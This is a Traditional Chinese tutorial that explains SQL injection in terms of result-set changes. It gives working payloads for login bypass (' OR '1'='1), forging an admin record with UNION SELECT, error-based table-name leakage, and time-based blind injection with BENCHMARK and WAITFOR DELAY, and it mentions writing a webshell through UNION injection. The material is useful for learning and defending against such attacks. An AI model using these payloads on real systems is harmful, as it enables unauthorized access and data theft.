SQL 注入核心在於「構造輸入導致查詢結果集發生預期差異,進而引發應用層邏輯分支偏移或錯誤訊息洩露」。本文從結果集角度系統剖析邏輯錯誤、語法錯誤、執行錯誤三大類型利用原理,並實戰示範繞過登入、UNION 注入、盲注技術。
機制: `WHERE` 條件真假改變結果集基數。
`id=1 AND 1=2` → 結果集為空 (0 行) → 應用取值失敗/跳轉/顯示空白。
`id=1 OR 1=1` → 結果集暴增 (全表) → 應用若 `FETCH FIRST` → 取到非預期第一行 → 頁面內容異常 (如標題變成其他文章)。
Oracle/PostgreSQL 特徵: 空結果集常在頁面顯示字面 `NULL` 字串。
機制: 構造非法 SQL 觸發資料庫拋錯。
若應用未屏蔽錯誤 → 錯誤訊息 (含表名、欄位、資料片段) 直接回顯頁面 (Error-based Injection)。
若應用捕獲異常並繼續執行 → 結果集為「不存在」 (連 NULL 都不是) → 應用視同空結果集處理。
利用: `CAST((SELECT name FROM sysobjects WHERE xtype='U') AS INT)` 強制型別轉換失敗,錯誤訊息攜帶首個使用者表名。
機制: 利用耗時函數導致執行緒阻塞。
MySQL: `BENCHMARK(1000000, MD5('x'))`。
SQL Server: `WAITFOR DELAY '0:0:5'`。
頁面回應延遲 → 推斷條件真假 (Time-based Blind Injection)。
物理路徑洩露: 某些版本超時錯誤堆疊包含絕對路徑。
利用條件函數返回不同型別:
`IFF(1=1, 1, 'no')` → 數字 `1`。
`IFF(1=2, 1, 'no')` → 字串 `'no'`。
`id=1 AND 1=IFF(1=1,1,'no')` → 數字=數字 **成功**。
`id=1 AND 1=IFF(1=2,1,'no')` → 數字=字串 **語法/型別錯誤**。
透過「正常/報錯」二元特徵逐位提取資料。適用支援 `IFF/CASE/DECODE/IF` 的資料庫。
$sql = "SELECT TOP 1 * FROM admin WHERE username='$u' AND password=MD5('$p')";
-- 輸入: ' OR '1'='1
-- 結果: SELECT TOP 1 * FROM admin WHERE username='' OR '1'='1' AND ...
-- 結果集非空 (第一行管理員) → 驗證通過
$sql = "SELECT TOP 1 * FROM admin WHERE username='$u'";
-- 應用層: 取結果集 password 欄位與用戶輸入 MD5 比對
-- 攻擊: ' UNION SELECT 'admin', MD5('123456'), 1 --
-- 結果集: 偽造 admin 記錄,密碼欄位為已知雜湊 → 驗證通過並繼承 admin 權限
UNION 要求欄位數、型別、順序**嚴格匹配**。盲注需精確構造對應型別常數 (如 `CAST(NULL AS INT)`)。
利用編輯器參數注入 `UNION SELECT ...` 寫入 Webshell,本質是構造期望結果集欺騙應用層執行寫入邏輯。